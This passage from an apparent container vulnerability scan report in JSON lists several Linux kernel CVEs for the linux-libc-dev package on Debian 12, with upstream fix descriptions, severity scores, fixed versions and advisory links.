ksoftirqd must be preemptible (PREEMPT_RT without\nPREEMPT_RT_NEEDS_BH_LOCK) and a concurrent task must be able to release\nthe pcpu_rt. Shared nexthop objects provide such a path, as two routes\npointing to the same nhid share the same fib6_nh and its rt6i_pcpu\nentry.\n\nFix seg6_input_core() and rpl_input() by calling skb_dst_force() after\nip6_route_input() to force the NOREF dst into a refcounted one before\ncaching.\nThe output path is not affected as ip6_route_output() already returns a\nrefcounted dst.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-911" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45114", "https://access.redhat.com/errata/RHSA-2026:59662", "https://access.redhat.com/errata/RHSA-2026:59663", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/security/cve/CVE-2026-46099", "https://bugzilla.redhat.com/2418829", "https://bugzilla.redhat.com/2436755", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2481972", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2418829", "https://bugzilla.redhat.com/show_bug.cgi?id=2436755", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2481972", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46099", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52973", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/10/ALSA-2026-45114.html", "https://errata.rockylinux.org/RLSA-2026:45114", "https://git.kernel.org/linus/f9c52a6ba9780bd27e0bf4c044fd91c13c778b6e%20%287.1-rc2%29", "https://git.kernel.org/stable/c/51fef5a7c4d160839199e941929456ba21ddf73c", "https://git.kernel.org/stable/c/52f9db67f8f35f436366cf4980b4f0a2583d0ef0", "https://git.kernel.org/stable/c/6bd17925bd6866027a6555db17905b9fc073d38d", "https://git.kernel.org/stable/c/9dd5481f960e337b81d7dfe429529495c1c481c0", "https://git.kernel.org/stable/c/b258b849a580285a1692e782ebc902b44c884a71", "https://git.kernel.org/stable/c/b778b6d095421619c331fd2d7751143cd5387103", "https://git.kernel.org/stable/c/f9c52a6ba9780bd27e0bf4c044fd91c13c778b6e", "https://linux.oracle.com/cve/CVE-2026-46099.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052704-CVE-2026-46099-2a55@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46099", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46099.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46099" ], "PublishedDate": "2026-05-27T14:17:31.557Z", "LastModifiedDate": "2026-10-19T20:18:29.39Z" }, { "VulnerabilityID": "CVE-2026-46116", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46116", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e995186a3bcdd8f3cd1ce350017e9fac5a77dd63bc044ba40ede1af27530e134", "Title": "kernel: xfrm: defensively unhash xfrm_state lists in __xfrm_state_delete", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: defensively unhash xfrm_state lists in __xfrm_state_delete\n\nKASAN reproduces a slab-use-after-free in __xfrm_state_delete()'s\nhlist_del_rcu calls under syzkaller load on linux-6.12.y stable\n(reproduced on 6.12.47, also reachable via the same code path on\ntorvalds/master and on the ipsec tree). Nine unique signatures cluster\nin the xfrm_state lifecycle, the load-bearing one being:\n\n BUG: KASAN: slab-use-after-free in __hlist_del include/linux/list.h:990 [inline]\n BUG: KASAN: slab-use-after-free in hlist_del_rcu include/linux/rculist.h:516 [inline]\n BUG: KASAN: slab-use-after-free in __xfrm_state_delete net/xfrm/xfrm_state.c\n Write of size 8 at addr ffff8881198bcb70 by task kworker/u8:9/435\n\n Workqueue: netns cleanup_net\n Call Trace:\n __hlist_del / hlist_del_rcu\n __xfrm_state_delete\n xfrm_state_delete\n xfrm_state_flush\n xfrm_state_fini\n ops_exit_list\n cleanup_net\n\nThe other observed signatures hit the same slab object from\n__xfrm_state_lookup, xfrm_alloc_spi, __xfrm_state_insert and an OOB\nwrite variant of __xfrm_state_delete, all on the byseq/byspi\nhash chains.\n\n__xfrm_state_delete() guards its byseq and byspi unhashes with\nvalue-based predicates:\n\n\tif (x-\u003ekm.seq)\n\t\thlist_del_rcu(\u0026x-\u003ebyseq);\n\tif (x-\u003eid.spi)\n\t\thlist_del_rcu(\u0026x-\u003ebyspi);\n\nwhile everywhere else in the file (e.g. state_cache, state_cache_input)\nthe safer hlist_unhashed() check is used. xfrm_alloc_spi() sets\nx-\u003eid.spi = newspi inside xfrm_state_lock and then immediately inserts\ninto byspi, but a path that observes x-\u003eid.spi != 0 outside of\nxfrm_state_lock can still skip-or-hit the byspi unhash inconsistently\nwith whether x is actually on the list. The same holds for x-\u003ekm.seq\nversus byseq, and the bydst/bysrc unhashes have no predicate at all,\nso a second __xfrm_state_delete() on the same object writes through\nLIST_POISON pprev.\n\nThe defensive change here:\n\n - Use hlist_del_init_rcu() instead of hlist_del_rcu() on bydst,\n bysrc, byseq and byspi so a second deletion is a no-op rather\n than a write through LIST_POISON pprev. The byseq/byspi nodes\n are already initialised in xfrm_state_alloc().\n - Test hlist_unhashed() rather than the value predicate for\n byseq/byspi, so the unhash decision tracks list state rather than\n mutable scalar fields.\n\nEmpirical verification: applied this patch on top of v6.12.47, rebuilt,\nand re-ran the same syzkaller harness for 1h16m on a previously-crashy\nconfiguration that produced ~100 hits each of slab-use-after-free\nRead in xfrm_alloc_spi / Read in __xfrm_state_lookup / Write in\n__xfrm_state_delete. After the patch, 7.1M execs across 32 VMs at\n~1550 exec/sec produced zero xfrm_state UAF/OOB hits. /proc/slabinfo\nconfirms the xfrm_state slab is actively allocated and freed during\nthe run (~143 KiB resident), so the fuzzer is still exercising those\ncode paths -- they just no longer crash.\n\nReproduction:\n\n - Linux 6.12.47 x86_64 + KASAN_GENERIC + KASAN_INLINE + KCOV\n - syzkaller @ 746545b8b1e4c3a128db8652b340d3df90ce61db\n - 32 QEMU/KVM VMs x 2 vCPU on AWS c5.metal bare metal\n - 9 unique signatures collected in ~9h, all within xfrm_state\n lifecycle", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:39179", "https://access.redhat.com/errata/RHSA-2026:39180", "https://access.redhat.com/errata/RHSA-2026:39371", "https://access.redhat.com/errata/RHSA-2026:41234", "https://access.redhat.com/errata/RHSA-2026:41235", "https://access.redhat.com/errata/RHSA-2026:42919", "https://access.redhat.com/errata/RHSA-2026:43231", "https://access.redhat.com/errata/RHSA-2026:44385", "https://access.redhat.com/errata/RHSA-2026:47632", "https://access.redhat.com/errata/RHSA-2026:47633", "https://access.redhat.com/errata/RHSA-2026:47739", "https://access.redhat.com/errata/RHSA-2026:47869", "https://access.redhat.com/errata/RHSA-2026:49033", "https://access.redhat.com/errata/RHSA-2026:59142", "https://access.redhat.com/errata/RHSA-2026:59143", "https://access.redhat.com/errata/RHSA-2026:59145", "https://access.redhat.com/errata/RHSA-2026:59146", "https://access.redhat.com/errata/RHSA-2026:59147", "https://access.redhat.com/errata/RHSA-2026:59148", "https://access.redhat.com/errata/RHSA-2026:59149", "https://access.redhat.com/security/cve/CVE-2026-46116", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/14acf9652e5690de3c7486c6db5fb8dafd0a32a3%20%287.1-rc3%29", "https://git.kernel.org/stable/c/14acf9652e5690de3c7486c6db5fb8dafd0a32a3", "https://git.kernel.org/stable/c/26edb0a3c99f9d958c212be68b21f1221614dcf0", "https://git.kernel.org/stable/c/2c617848ae6e4f07a3e397f604208c293bbecacc", "https://git.kernel.org/stable/c/3943fcad7694a7d0b15aeabe7d3cc2a2eb8e92e8", "https://git.kernel.org/stable/c/4980162de555cb838f1a189ce7d2cbf5d2e7b050", "https://git.kernel.org/stable/c/6b4dc3181b4bfc5f5fc33ab33b1dc6e15759f4b6", "https://git.kernel.org/stable/c/a2e2d08fb070fab4947447171f1c4e3ca5a188e5", "https://git.kernel.org/stable/c/b4a53add2fa8f1b5aa17d4c5686c320785fab182", "https://linux.oracle.com/cve/CVE-2026-46116.html", "https://linux.oracle.com/errata/ELSA-2026-50319.html", "https://lore.kernel.org/linux-cve-announce/2026052814-CVE-2026-46116-73b8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46116", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46116.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46116" ], "PublishedDate": "2026-05-28T10:16:27.08Z", "LastModifiedDate": "2026-10-19T20:18:31.907Z" }, { "VulnerabilityID": "CVE-2026-46122", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46122", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:801422fc735561cb4d87844ace8a5c725b684df8c1d315e6f5eb1c770652a804", "Title": "kernel: wifi: b43: enforce bounds check on firmware key index in b43_rx()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: b43: enforce bounds check on firmware key index in b43_rx()\n\nThe firmware-controlled key index in b43_rx() can exceed the dev-\u003ekey[]\narray size (58 entries). The existing B43_WARN_ON is non-enforcing in\nproduction builds, allowing an out-of-bounds read.\n\nMake the B43_WARN_ON check enforcing by dropping the frame when the\nfirmware returns an invalid key index.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46122", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/1f4f78bf8549e6ac4f04fba4176854f3a6e0c332%20%287.1-rc3%29", "https://git.kernel.org/stable/c/135cb49c9a42a02cceeac7b49ec03e267f7ed6d6", "https://git.kernel.org/stable/c/1e9e55cf66f0fa4799f4d86ef3aaba8e606b5c14", "https://git.kernel.org/stable/c/1f4f78bf8549e6ac4f04fba4176854f3a6e0c332", "https://git.kernel.org/stable/c/219ba67e69e49681e48c822d6eaafb5def032f34", "https://git.kernel.org/stable/c/3157ad40b084a8f3932da2641749ab45e99b933e", "https://git.kernel.org/stable/c/765709720e6af9a178abc40244a8d1aa39ac4e71", "https://git.kernel.org/stable/c/c3d7b90dc95020cd9282c4630e402fe224f7644e", "https://git.kernel.org/stable/c/d7029879bafdac2006c67553807d122283dc6cbf", "https://linux.oracle.com/cve/CVE-2026-46122.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052815-CVE-2026-46122-04ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46122", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46122" ], "PublishedDate": "2026-05-28T10:16:27.713Z", "LastModifiedDate": "2026-10-15T02:19:44.75Z" }, { "VulnerabilityID": "CVE-2026-46130", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7d85396fe6c9284efacf112411d6d2ebcbe6134e964eebabc1efaeb73ef6609b", "Title": "kernel: dm-verity-fec: fix reading parity bytes split across blocks (take 3)", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-verity-fec: fix reading parity bytes split across blocks (take 3)\n\nfec_decode_bufs() assumes that the parity bytes of the first RS codeword\nit decodes are never split across parity blocks.\n\nThis assumption is false. Consider v-\u003efec-\u003eblock_size == 4096 \u0026\u0026\nv-\u003efec-\u003eroots == 17 \u0026\u0026 fio-\u003enbufs == 1, for example. In that case, each\ncall to fec_decode_bufs() consumes v-\u003efec-\u003eroots * (fio-\u003enbufs \u003c\u003c\nDM_VERITY_FEC_BUF_RS_BITS) = 272 parity bytes.\n\nConsidering that the parity data for each message block starts on a\nblock boundary, the byte alignment in the parity data will iterate\nthrough 272*i mod 4096 until the 3 parity blocks have been consumed. On\nthe 16th call (i=15), the alignment will be 4080 bytes into the first\nblock. Only 16 bytes remain in that block, but 17 parity bytes will be\nneeded. The code reads out-of-bounds from the parity block buffer.\n\nFortunately this doesn't normally happen, since it can occur only for\ncertain non-default values of fec_roots *and* when the maximum number of\nbuffers couldn't be allocated due to low memory. For example with\nblock_size=4096 only the following cases are affected:\n\n fec_roots=17: nbufs in [1, 3, 5, 15]\n fec_roots=19: nbufs in [1, 229]\n fec_roots=21: nbufs in [1, 3, 5, 13, 15, 39, 65, 195]\n fec_roots=23: nbufs in [1, 89]\n\nRegardless, fix it by refactoring how the parity blocks are read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46130", "https://git.kernel.org/linus/430a05cb926f6bdf53e81460a2c3a553257f3f61%20%287.1-rc1%29", "https://git.kernel.org/stable/c/03348b440f69417dc3a3c71d8271cff6b05f67fb", "https://git.kernel.org/stable/c/3d1b4e2d8ac0a1a1390a117f61ce0ca1c47e3bcb", "https://git.kernel.org/stable/c/430a05cb926f6bdf53e81460a2c3a553257f3f61", "https://git.kernel.org/stable/c/d47281b9a4472cfd73122393e79fbe76b651e46a", "https://git.kernel.org/stable/c/dac69d1b76049d7e5f565089a6a7f4502a85b9de", "https://kernelcve.org/list/?q=CVE-2026-46130", "https://lore.kernel.org/linux-cve-announce/2026052817-CVE-2026-46130-895e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46130", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46130" ], "PublishedDate": "2026-05-28T10:16:28.57Z", "LastModifiedDate": "2026-11-06T17:17:39.003Z" }, { "VulnerabilityID": "CVE-2026-46136", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46136", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6f59b35173917269e38a22379494a097348cde8794578aef6d13cc2d253babf7", "Title": "kernel: wifi: mt76: mt7921: fix a potential clc buffer length underflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7921: fix a potential clc buffer length underflow\n\nThe buf_len is used to limit the iterations for retrieving the country\npower setting and may underflow under certain conditions due to changes\nin the power table in CLC.\n\nThis underflow leads to an almost infinite loop or an invalid power\nsetting resulting in driver initialization failure.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46136", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/5373f8b19e568b5c217832b9bbef165bd2b2df14%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0aa63d33742b805d1a218d18d12b983cce4b2f7b", "https://git.kernel.org/stable/c/2a79b1a492bcfa725383b6580cd93a6862308c85", "https://git.kernel.org/stable/c/5373f8b19e568b5c217832b9bbef165bd2b2df14", "https://git.kernel.org/stable/c/90cc573fd2f46ddbc2c329e7814b5ba3deb7b939", "https://git.kernel.org/stable/c/a0111847f0b4f6023f6dd320114697514e024ba3", "https://git.kernel.org/stable/c/e451c325b000b9a0081fd93bc6d103d6943d4b55", "https://lore.kernel.org/linux-cve-announce/2026052818-CVE-2026-46136-ae9a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46136", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46136" ], "PublishedDate": "2026-05-28T10:16:29.16Z", "LastModifiedDate": "2026-11-06T17:17:39.563Z" }, { "VulnerabilityID": "CVE-2026-46163", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46163", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": 